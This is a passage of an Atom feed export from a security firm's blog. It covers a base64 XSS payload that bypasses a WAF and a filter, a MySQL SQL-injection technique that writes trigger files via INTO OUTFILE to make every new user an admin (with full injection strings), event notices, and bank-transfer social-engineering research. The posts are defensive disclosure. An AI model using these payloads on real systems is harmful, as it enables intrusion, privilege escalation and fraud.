href="http://4.bp.blogspot.com/_pkzXyh452W0/S87BUPhn-bI/AAAAAAAAAAs/BLuMZfkI3Zg/s1600/b65_noscript.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 92px;" src="http://4.bp.blogspot.com/_pkzXyh452W0/S87BUPhn-bI/AAAAAAAAAAs/BLuMZfkI3Zg/s400/b65_noscript.jpg" alt="" id="BLOGGER_PHOTO_ID_5462515951556098482" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;But since the real decoder is on another layer, let's try with PHP's decoder&lt;br /&gt;using the illegal character '&lt;span style="font-weight: bold;"&gt;.&lt;/span&gt;':&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;P&lt;span style="color: rgb(255, 0, 0);"&gt;.&lt;/span&gt;HNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Here's what happens:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_pkzXyh452W0/S87BdInE-vI/AAAAAAAAAA0/GAgng0U7RDI/s1600/b64_bypass.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 148px;" src="http://1.bp.blogspot.com/_pkzXyh452W0/S87BdInE-vI/AAAAAAAAAA0/GAgng0U7RDI/s400/b64_bypass.jpg" alt="" id="BLOGGER_PHOTO_ID_5462516104318745330" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;ModSecurity (v. 2.5.6-1) and NoScript (v. 1.9.9.61) are &lt;span style="font-style: italic;"&gt;bypassed&lt;/span&gt;.&lt;br /&gt;Same happens for other illegal character.&lt;br /&gt;Now NoScript is fixed (v. &gt;= 1.9.9.62) and I expect ModSecurity to be fixed soon.&lt;br /&gt;&lt;br /&gt;The question still remains.&lt;br /&gt;How to rely on WAF or filters controls if they miss some behaviour?&lt;br /&gt;&lt;br /&gt;WAFs and IDSs are good for defense in depth.&lt;br /&gt;So don't rely too much on those.&lt;br /&gt;Apply SSDLC by implementing correct filters and controls and&lt;br /&gt;Test, Test, Test in your own environment!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7122745763234660283-7276035970145501352?l=blog.mindedsecurity.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mindedsecurity.com/feeds/7276035970145501352/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.mindedsecurity.com/2010/04/fooling-b64encodepayload-on-wafs-and.html#comment-form' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7122745763234660283/posts/default/7276035970145501352'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7122745763234660283/posts/default/7276035970145501352'/><link rel='alternate' type='text/html' href='http://blog.mindedsecurity.com/2010/04/fooling-b64encodepayload-on-wafs-and.html' title='Fooling B64_Encode(Payload) on WAFs and filters'/><author><name>Stefano Di Paola</name><uri>http://www.blogger.com/profile/18241677936736054546</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='10007430601667226836'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_pkzXyh452W0/S87BDRmJDAI/AAAAAAAAAAk/DxcVPi92dgk/s72-c/b64_modsec.jpg' height='72' width='72'/><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7122745763234660283.post-5790043002357425626</id><published>2010-04-21T02:55:00.000-07:00</published><updated>2010-04-21T03:09:30.721-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web Attacks'/><title type='text'>MySQL Stacked Queries with SQL Injection...sort of</title><content type='html'>Security experts know that is possible to inject stacked queries on Microsoft SQL Server, when dealing with SQL Injections but not on other DBMS.&lt;br /&gt;&lt;br /&gt;In the next few lines we'll describe a new technique that could allow an attacker&lt;br /&gt;to insert or update data also when there is a SQL Injection on select queries.&lt;br /&gt;The most known attack also implemented on SQLMap is the takeover technique when the MySQL user has File Privileges and the DBMS is on the same server of the exposed web application.&lt;br /&gt;What to do when the DBMS host is on a different server?&lt;br /&gt;&lt;br /&gt;Something can be done by abusing &lt;span style="font-style: italic;"&gt;Triggers&lt;/span&gt;.&lt;br /&gt;MySQL supports Triggers since 5.0.2.&lt;br /&gt;In MySQL, Triggers are wrote as a separate file on the same directory of&lt;br /&gt;the Database data dir.&lt;br /&gt;It needs two files:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:arial;"&gt;/mysql/datadir/DB/TableName.TRG&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:arial;"&gt;/mysql/datadir/DB/TriggerName.TRN&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Suppose now that a `&lt;span style="font-style: italic;"&gt;user&lt;/span&gt;` table exists on users DB.&lt;br /&gt;So run mysql client and create the following trigger:&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;mysql&amp;gt; delimiter //&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;mysql&amp;gt; CREATE trigger atk after insert on user for each row&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;-&amp;gt; begin &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;-&amp;gt; update user set isadmin=1 where isadmin=0;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;-&amp;gt; end//&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;mysql&amp;gt; delimiter ;&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;We can see that two files were created in data directory of users DB:&lt;br /&gt;&lt;span style="font-style: italic;font-family:arial;" &gt;/var/lib/mysql/users/atk.TRN&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;TYPE=TRIGGERNAME&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;trigger_table=user&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;and &lt;span style="font-style: italic;"&gt;/var/lib/mysql/users/user.TRG&lt;/span&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;TYPE=TRIGGERS&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;triggers='CREATE DEFINER=`root`@`localhost` trigger atk after insert on user  for each row\nbegin\nupdate user set isadmin=1 where isadmin=0;\nend'&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;sql_modes=0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;definers='root@localhost'&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;client_cs_names='latin1'&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;connection_cl_names='latin1_swedish_ci'&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;db_cl_names='latin1_swedish_ci'&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;What happens if we successfully write user.TRG and atk.TRN in&lt;br /&gt;/var/lib/mysql/users/users.TRG using INTO OUTFILE ?&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;AND 1=0 union select 'TYPE=TRIGGERS' into outfile&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;'/var/lib/mysql/users/user.TRG' LINES TERMINATED BY '\\ntriggers=\'CREATE&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;DEFINER=`root`@`localhost` trigger atk after insert on user for each row\\nbegin&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;\\nupdate user set isadmin=0 where&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;isadmin=1;\\nend\'sql_modes=0\ndefiners=\'root@localhost\'\nclient_cs_names=\'l&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;atin1\'\nconnection_cl_names=\'latin1_swedish_ci\'\ndb_cl_names=\'latin1_swedi&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;sh_ci\'\n';&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;Then do the same to create atk.TRN&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;      TYPE=TRIGGERNAME&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;      trigger_table=user&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;MySQL will check if a TRG extension is present and will execute the&lt;br /&gt;trigger.&lt;br /&gt;So, in this scenery, after a user registration every user will be an admin... and Stored Xss like Frame Injection could be accomplished as well.&lt;br /&gt;Also some privilege escalation could probably be done since the DEFINER keyword says to MySQL the user on behalf the trigger should be executed.&lt;br /&gt;&lt;br /&gt;Another interesting thing about this attack is that we can try fuzzing&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-style: italic;"&gt;tabname.MYD&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-style: italic;"&gt;tabname.MYI&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-style: italic;"&gt;tabname.frm&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;and of course&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-style: italic;"&gt;tabname.TRG&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-style: italic;"&gt;triggername.TRN&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;file format and try to exploit the file format parsers.&lt;br /&gt;We found some crash on TRG which doesn't seem to be exploitable, but who knows..further research could result in exploitable parser errors on those file formats.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7122745763234660283-5790043002357425626?l=blog.mindedsecurity.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mindedsecurity.com/feeds/5790043002357425626/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.mindedsecurity.com/2010/04/mysql-stacked-queries-with-sql.html#comment-form' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7122745763234660283/posts/default/5790043002357425626'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7122745763234660283/posts/default/5790043002357425626'/><link rel='alternate' type='text/html' href='http://blog.mindedsecurity.com/2010/04/mysql-stacked-queries-with-sql.html' title='MySQL Stacked Queries with SQL Injection...sort of'/><author><name>Stefano Di Paola</name><uri>http://www.blogger.com/profile/18241677936736054546</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='10007430601667226836'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7122745763234660283.post-8770938233360299293</id><published>2010-03-31T14:18:00.000-07:00</published><updated>2010-03-31T14:37:04.637-07:00</updated><title type='text'>OWASP projects and resources you can use TODAY</title><content type='html'>Next 16th April in London, OWASP leaders will deliver a course focused on the main OWASP Projects. &lt;br /&gt;Apart from OWASP's Top 10, most OWASP Projects are not widely used and understood. In most cases this is not due to lack of quality and usefulness of those Document &amp; Tool projects, but due to a lack of understanding of where they fit in an Enterprise's security ecosystem or in the Web Application Development Life-cycle. &lt;br /&gt;This course aims to change that by providing a selection of mature and enterprise ready projects together with practical examples of how to use them. &lt;br /&gt;This Course is FREE for OWASP Members. Registration is mandatory.&lt;br /&gt;Details &lt;a href='http://www.owasp.org/index.php/London/Training/OWASP_projects_and_resources_you_can_use_TODAY'&gt;here&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7122745763234660283-8770938233360299293?l=blog.mindedsecurity.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mindedsecurity.com/feeds/8770938233360299293/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.mindedsecurity.com/2010/03/owasp-projects-and-resources-you-can.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7122745763234660283/posts/default/8770938233360299293'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7122745763234660283/posts/default/8770938233360299293'/><link rel='alternate' type='text/html' href='http://blog.mindedsecurity.com/2010/03/owasp-projects-and-resources-you-can.html' title='OWASP projects and resources you can use TODAY'/><author><name>Matteo Meucci</name><uri>http://www.blogger.com/profile/10505285469528042725</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='09096630004793563409'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7122745763234660283.post-876119765982040850</id><published>2009-12-13T13:16:00.000-08:00</published><updated>2009-12-13T13:50:30.795-08:00</updated><title type='text'>OWASP-Italy interviewed by Repubblica.it</title><content type='html'>Repubblica.it (the second largest circulation Italian daily newspaper) interviewed Matteo Meucci (OWASP-Italy chair) on the large-scale SQL injection attack that hit hundred thousand Websites from the last 10th december, injecting malicious iFrames to install a backdoor Trojan on the user clients.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.repubblica.it/2009/12/sezioni/tecnologia/pirati-natale/pirati-natale/pirati-natale.html"&gt;Read the article.&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7122745763234660283-876119765982040850?l=blog.mindedsecurity.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mindedsecurity.com/feeds/876119765982040850/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.mindedsecurity.com/2009/12/owasp-italy-interviewed-by-repubblicait.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7122745763234660283/posts/default/876119765982040850'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7122745763234660283/posts/default/876119765982040850'/><link rel='alternate' type='text/html' href='http://blog.mindedsecurity.com/2009/12/owasp-italy-interviewed-by-repubblicait.html' title='OWASP-Italy interviewed by Repubblica.it'/><author><name>Matteo Meucci</name><uri>http://www.blogger.com/profile/10505285469528042725</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='09096630004793563409'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7122745763234660283.post-7086564022089594933</id><published>2009-11-11T14:59:00.000-08:00</published><updated>2009-11-11T15:05:38.502-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Application Security'/><title type='text'>BSIMM Europe</title><content type='html'>The Building Security In Maturity Model (BSIMM) was released in March 2009 under a Creative Commons license. Since March, the BSIMM has evolved and expanded in several ways. Most importantly, the BSIMM study has added data for seventeen companies to the original nine, bringing the study total to twenty-six. &lt;br /&gt;You can read the article of Gary McGraw (author of Software Security: Building Security In, CTO Cigital) &lt;a href=" http://www.informit.com/articles/article.aspx?p=1405841"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Take a look at the last presentation of Gabriele Giuseppini regarding BSIMM at the last &lt;br /&gt;&lt;a href="http://www.owasp.org/index.php/Italy_OWASP_Day_4#tab=Agenda_.26_Presentations"&gt;OWASP Day IV&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Minded Security translates the BSIMM document in italian. You can download it&lt;br /&gt;&lt;a href="http://bsi-mm.com/participate/"&gt;here&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7122745763234660283-7086564022089594933?l=blog.mindedsecurity.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mindedsecurity.com/feeds/7086564022089594933/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.mindedsecurity.com/2009/11/bsimm-europe.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7122745763234660283/posts/default/7086564022089594933'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7122745763234660283/posts/default/7086564022089594933'/><link rel='alternate' type='text/html' href='http://blog.mindedsecurity.com/2009/11/bsimm-europe.html' title='BSIMM Europe'/><author><name>Matteo Meucci</name><uri>http://www.blogger.com/profile/10505285469528042725</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='09096630004793563409'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7122745763234660283.post-6657799827700277121</id><published>2009-10-11T14:34:00.000-07:00</published><updated>2009-10-11T15:02:03.838-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Application Security'/><title type='text'>OWASP-Italy Day IV</title><content type='html'>Next 6th November we will have the next &lt;span style="font-weight:bold;"&gt;OWASP-Italy Day.&lt;/span&gt;&lt;br /&gt;In this occasion CIOs, CTOs, CISOs, Auditors, IT managers, Security Managers and Security Governance managers, will have the opportunity to uptade about the evolution about the Application Security and the new intiatives about Software Security.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;The Agenda:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;9:00h Registration&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;9.30h Introduction to the OWASP-Day&lt;/span&gt;&lt;br /&gt;Matteo Meucci - OWASP-Italy Chair&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;9.50h How to Create Business cases for Your Software Security Initiative&lt;/span&gt;&lt;br /&gt;Marco Morana — CISO, Citigroup&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;10.30 OWASP SAMM / Open Software Assurance Maturity Model&lt;/span&gt;&lt;br /&gt;Claudio Merloni — Software Security Consultant, Fortify Software&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;11.10h Coffee break&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;11.40h From Web Attacks to Malware. Can Secure Software Development Help Internet Banking Security?&lt;/span&gt;&lt;br /&gt;Giorgio Fedon — COO, Minded Security&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;12.20h Usability versus security: securing Internet facing applications while keeping them highly attractive for everybody&lt;/span&gt;&lt;br /&gt;Tobias Christen — CTO, DSwiss Ltd&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;13.00h Business Lunch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;14.00h NoScript, CSP and ABE: When the Browser Is Not Your Enemy&lt;/span&gt;&lt;br /&gt;Giorgio Maone — CTO, InformAction&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;14.40h Building Security In Maturity Model: A Review of Successful Software&lt;/span&gt;&lt;br /&gt;Gabriele Giuseppini — Technical Manager, Cigital&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;15.20h The art of code reviewing&lt;/span&gt;&lt;br /&gt;Paolo Perego — Senior Consultant, Spike Reply&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;16.00h Round Table: Why Software Security is not a priority in our digital world?&lt;/span&gt;&lt;br /&gt;Marco Morana, Carlo Merloni, Gabriele Giuseppini, Stefano Di Paola — Keynote Raoul Chiesa&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;References:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;"Avete finito di imbottire le vostre reti di firewall e altre diavolerie simili? Allora è tempo di cambiare prospettiva e rendersi conto che oggi, dopo aver messo in sicurezza il perimetro dei nostri sistemi informativi, le minacce più serie provengono dalle nostre stesse applicazioni che, a volte, non sono progettate ed implementate, tenendo conto delle migliori pratiche di sviluppo di software sicuro. In questo campo l’OWASP rappresenta un punto di riferimento costante ed una miniera di informazioni e strumenti, ed al Ministero dell’Istruzione, Università e Ricerca abbiamo imparato ad apprezzarne i materiali e le informazioni disponibili sul suo sito web, nell’ambito del nostro gruppo che si occupa di sicurezza del sistema informativo. Per conoscere le iniziative dell’OWASP, avere un’anteprima delle principali novità in tema di sicurezza del software, incontrare i maggiori esperti in questo settore, partecipate all’OWASP DAY – ITALY IV il 6 novembre prossimo a Milano, sarà un’occasione utilissima di approfondimento."&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Paolo De Santis – Dirigente della Direzione Generale per gli Studi, la Statistica ed i Sistemi Informativi del MIUR&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;“L’OWASP Day è il luogo e il momento per incontrare altri professionisti e appassionati del settore. E’ un’opportunità per conoscere direttamente dai protagonisti le metodologie, le tecniche e gli ambiti di ricerca nel mondo della sicurezza applicativa divenuto ormai il fattore principale, insieme a quello umano, nel campo dell’Information Security. “&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Massimo Trevisani—CSO IWBank&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;"Le conferenze OWASP in Italia rappresentano un momento importante di awareness sulla sicurezza applicativa. L'evento rappresenta un punto di riferimento in cui i professionisti dell'IT possono valutare nuovi approcci allo sviluppo sicuro del software e alla difesa delle proprie applicazioni on-line"&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Marco Bavazzano—CISO Telecom Italia&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;More information and registration to the event &lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.owasp.org/index.php/Italy_OWASP_Day_4"&gt;here&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7122745763234660283-6657799827700277121?l=blog.mindedsecurity.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mindedsecurity.com/feeds/6657799827700277121/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.mindedsecurity.com/2009/10/owasp-italy-day-iv.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7122745763234660283/posts/default/6657799827700277121'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7122745763234660283/posts/default/6657799827700277121'/><link rel='alternate' type='text/html' href='http://blog.mindedsecurity.com/2009/10/owasp-italy-day-iv.html' title='OWASP-Italy Day IV'/><author><name>Matteo Meucci</name><uri>http://www.blogger.com/profile/10505285469528042725</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='09096630004793563409'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7122745763234660283.post-8915532602178811387</id><published>2009-05-21T07:01:00.000-07:00</published><updated>2009-05-21T13:55:31.128-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='malware'/><category scheme='http://www.blogger.com/atom/ns#' term='Banking'/><title type='text'>Discretionary controls may lead to social engineering attacks against banking dongles</title><content type='html'>New social engineering attack strategies will deal with the fact that some details entered in banking transactions are checked discretionally by the receiving institute. Any bank has a different database for user details and a different policy: that’s good because user details are kept very confidentially. However any single institute has very proprietary controls; some do well, some do not.&lt;br /&gt;&lt;br /&gt;The bad news is that one misbehaving entity is enough for lowering the security of the network. Attacker could choose the only bank in the country that has very weak controls, since the goal is to receive banking transfers from other people.&lt;br /&gt;&lt;br /&gt;Let's assume that the bank where Mallory has his account will accept bank transfers if the the recipient is wrong and the amount transferred is lower than 5k. We could have a situation like the following one:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vcTLhf3MjL0/ShVpEic1WeI/AAAAAAAAABo/SkN2aZahZmc/s1600-h/Non+Mandatory+Fields.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://3.bp.blogspot.com/_vcTLhf3MjL0/ShVpEic1WeI/AAAAAAAAABo/SkN2aZahZmc/s400/Non+Mandatory+Fields.jpg" alt="" id="BLOGGER_PHOTO_ID_5338288460005726690" border="1" /&gt;&lt;/a&gt;What If your bank will receive the correct account number with a wrong name on it? Well, the correct Beneficiary Name is not mandatory for issuing a bank transfer, but your bank (the receiving party) could accept it or not.&lt;br /&gt;&lt;br /&gt;Usually the attacker has still 3 additional days to phone the receiving bank and try to persuade one employee to finalize the transaction before the transfer gets blocked.&lt;br /&gt;&lt;br /&gt;We did some tests about sending money in our country &lt;span style="font-weight: bold;"&gt;to correct IBAN account numbers, but to wrong recipients.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Some results:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;For amounts lower to 100 euros: 2 out of 7 banks confirmed and accepted the transfer.&lt;/li&gt;&lt;li&gt;For and amount  of 3000 euros: 1 out of 3 banks confirmed and accepted the transfer after a phone call.&lt;/li&gt;&lt;/ul&gt;Phone call was made to the Office that handled the incorrect transfers. We just said that we meant to perform a banking transaction to another recipient, but we entered the wrong details. The operator said that she was expecting another bank operator, and not a customer but she said that was just fine.&lt;br /&gt;&lt;br /&gt;Attackers may take advantage of these issues to perform social-engineering attacks directly on antimalware devices.&lt;br /&gt;&lt;br /&gt;Effective attack strategy could be once again luring the user into confirming the wrong transaction, by preserving those fields that are actually remembered by the user. So which fields can be easily remembered?&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Amount?  easily&lt;/li&gt;&lt;li&gt;Recipient? easily&lt;/li&gt;&lt;li&gt;Country? easily&lt;/li&gt;&lt;li&gt;IBAN? Not easily. Personally I would just check for the name in the recipient field if it is available on the screen.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;External device screens may look similar to the one below. Details include also IBAN,  Account number, and any other detail is directly displayed on the external screen:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vcTLhf3MjL0/ShVnIgjY3SI/AAAAAAAAABQ/Yvybq0L6ido/s1600-h/device.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 190px;" src="http://2.bp.blogspot.com/_vcTLhf3MjL0/ShVnIgjY3SI/AAAAAAAAABQ/Yvybq0L6ido/s320/device.jpg" alt="" id="BLOGGER_PHOTO_ID_5338286329192570146" border="1" /&gt;&lt;/a&gt;&lt;br /&gt;The main challenge in designing Antimalware solutions is to “Authenticate the Transactions to the user”. The most common way to meet this requirement is to provide an out of band channel that displays the transaction details in a secure manner. In this way the user can spot if “something” between him and the bank has interfered within the transmission.&lt;br /&gt;&lt;br /&gt;Typical attacks against banking security solutions are impersonation attacks that need a malware already installed on the user system. The following is an example of a very common MITM (Man in the Middle Attack) performed on the local user machine:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vcTLhf3MjL0/ShVoESzmZuI/AAAAAAAAABg/TeEsFvbCRNo/s1600-h/silentbanking.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://3.bp.blogspot.com/_vcTLhf3MjL0/ShVoESzmZuI/AAAAAAAAABg/TeEsFvbCRNo/s400/silentbanking.jpg" alt="" id="BLOGGER_PHOTO_ID_5338287356294620898" border="1" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;immagine 3=""&gt;By giving a clarifying example, let’s assume that the user (Bob) is doing a banking transfer to his friend (Alice). The details displayed out of band on the external devices will be:&lt;br /&gt;&lt;br /&gt;Amount of Transaction: 300&lt;br /&gt;Recipient: Alice&lt;br /&gt;Country: Wonderland&lt;br /&gt;IBAN: WL04292039280100000000918292&lt;br /&gt;&lt;br /&gt;If an attacker using a malware capable of “Local Man in the Middle Attack” changes some of the details, the external devices will prompt for confirmation.  At this point the transaction will look very different from the original one:&lt;br /&gt;&lt;br /&gt;Amount of Transaction: 10000&lt;br /&gt;Recipient: Mallory&lt;br /&gt;Country: Wonderland&lt;br /&gt;The IBAN: WL053510393501200000003523491&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;This fraud attempt is easy to spot, even if the attacker is using a mule in the same country as the victim: Transaction Amount and Recipient Details are very different from the original ones.&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;But if the attacker uses the social engineering attack mentioned at the beginning  he could succeed by simply modifying the IBAN details (instead of the Amount and the Name of the Recipient):&lt;br /&gt;&lt;/immagine&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vcTLhf3MjL0/ShVpYhd4RuI/AAAAAAAAABw/k0WTElARArM/s1600-h/difference.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://2.bp.blogspot.com/_vcTLhf3MjL0/ShVpYhd4RuI/AAAAAAAAABw/k0WTElARArM/s400/difference.jpg" alt="" id="BLOGGER_PHOTO_ID_5338288803339060962" border="1" 